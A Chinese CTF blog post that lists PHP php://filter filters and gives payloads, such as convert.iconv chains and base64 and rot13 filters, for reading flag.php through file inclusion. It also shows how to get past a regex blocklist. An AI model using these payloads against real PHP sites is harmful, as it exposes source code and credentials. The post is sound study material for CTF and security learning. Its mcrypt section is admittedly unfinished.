php://filter的各种过滤器

前言

一直在用php://filter做文件包含类的题目,但是对它有哪些过滤器,作用是啥,了解有限。于是根据官方文档,对各种过滤器的用法,作用做一个大概的总结和实验。

官方文档传送门:可用过滤器列表


0x00 ctf中的应用

像这种过滤了很多过滤器的题目就可以找没过滤的bypass

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

payload:

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php

在这里插入图片描述




0x01 String Filters(字符串过滤器)

测试代码:index.php
在这里插入图片描述

flag.php
在这里插入图片描述

string.rot13

string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。

利用姿势:

php://filter/string.rot13/resource=flag.php

在这里插入图片描述

string.toupper

string.toupper 将字符串转化为大写

利用姿势:

php://filter/string.toupper/resource=flag.php

在这里插入图片描述

string.tolower

string.toupper 将字符串转化为小写

利用姿势:

php://filter/string.tolower/resource=flag.php

在这里插入图片描述

string.strip_tags

string.strip_tags从字符串中去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。

利用姿势:

php://filter/string.strip_tags/resource=flag.php

在这里插入图片描述
php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除。

在这里插入图片描述




0x02 Conversion Filters(转换过滤器)

Conversion Filters(转换过滤器)如同 string. 过滤器,convert. 过滤器的作用就和其名字一样。转换过滤器是 PHP 5.0.0 添加的。

convert.base64-encode & convert.base64-decode

这个过滤器经常使用,base64加密,利用姿势:

php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

convert.quoted-printable-encode & convert.quoted-printable-decode

不知道这个有啥用,就在后面加了个=0A,这个过滤器作用和quoted_printable_decode()相等。
在这里插入图片描述
利用姿势:

php://filter/convert.quoted-printable-encode/resource=flag.php

在这里插入图片描述

convert.iconv.*

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。(好像7.3之后就废弃了?)

使用方法:

convert.iconv.<input-encoding>.<output-encoding> 
or 
convert.iconv.<input-encoding>/<output-encoding>

<input-encoding>和<output-encoding> 就是编码方式,有如下几种;

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

利用姿势:把flag.php的内容从UCS-2LE编码转换为UCS-2BE编码

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php

在这里插入图片描述




0x03 Compression Filters(压缩过滤器)

zlib.deflate(压缩)和 zlib.inflate(解压)

zlib.deflate(压缩)

使用姿势:

php://filter/zlib.deflate/resource=flag.php

在这里插入图片描述

zlib.inflate(解压)

使用姿势:

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

在这里插入图片描述

bzip2.compress和 bzip2.decompress

和前面的差不多




0x04 Encryption Filters(加密过滤器)

mcrypt.和 mdecrypt.

mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为 mcrypt.ciphername,其中 ciphername是密码的名字,将被传递给 mcrypt_module_open()。有以下五个过滤器参数可用:

太菜了,看了半天官方文档也没懂这个过滤器怎么用,以后会了在更。

2021.4.27,又研究了一下,还是没搞懂

在这里插入图片描述
那么按照其他过滤器用法
前面可以是这样

php://filter/mdecrypt.tripledes

或者这样

php://filter/mdecrypt.3DES

mcrypt_module_open()的用法

<?php
    /* 打开加密算法和模式 */
    $td = mcrypt_module_open('rijndael-256', '', 'ofb', '');

    /* 创建初始向量,并且检测密钥长度。 
     * Windows 平台请使用 MCRYPT_RAND。 */
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
    $ks = mcrypt_enc_get_key_size($td);

    /* 创建密钥 */
    $key = substr(md5('very secret key'), 0, $ks);

    /* 初始化加密 */
    mcrypt_generic_init($td, $key, $iv);

    /* 加密数据 */
    $encrypted = mcrypt_generic($td, 'zyx father');

    /* 结束加密,执行清理工作 */
    mcrypt_generic_deinit($td);

    /* 初始化解密模块 */
    mcrypt_generic_init($td, $key, $iv);

    /* 解密数据 */
    $decrypted = mdecrypt_generic($td, $encrypted);

    /* 结束解密,执行清理工作,并且关闭模块 */
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    /* 显示文本 */
    echo trim($decrypted) . "\n";
?>

先加密

  • 打开加密算法和模式
  • 创建初始向量,并且检测密钥长度
  • 创建密钥
  • 初始化加密
  • 加密数据

然后解密

  • 初始化解密模块
  • 解密数据

在这里插入图片描述

然后在网页中不知道怎么用,这参数到底怎么给啊
在这里插入图片描述

啊啊啊啊啊啊,有大佬会的话带带弟弟,qaq




0x05 References

学习自:
官方文档

https://www.anquanke.com/post/id/202510#h3-9

https://www.php.net/manual/zh/filters.php

  • 28
    点赞
  • 120
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值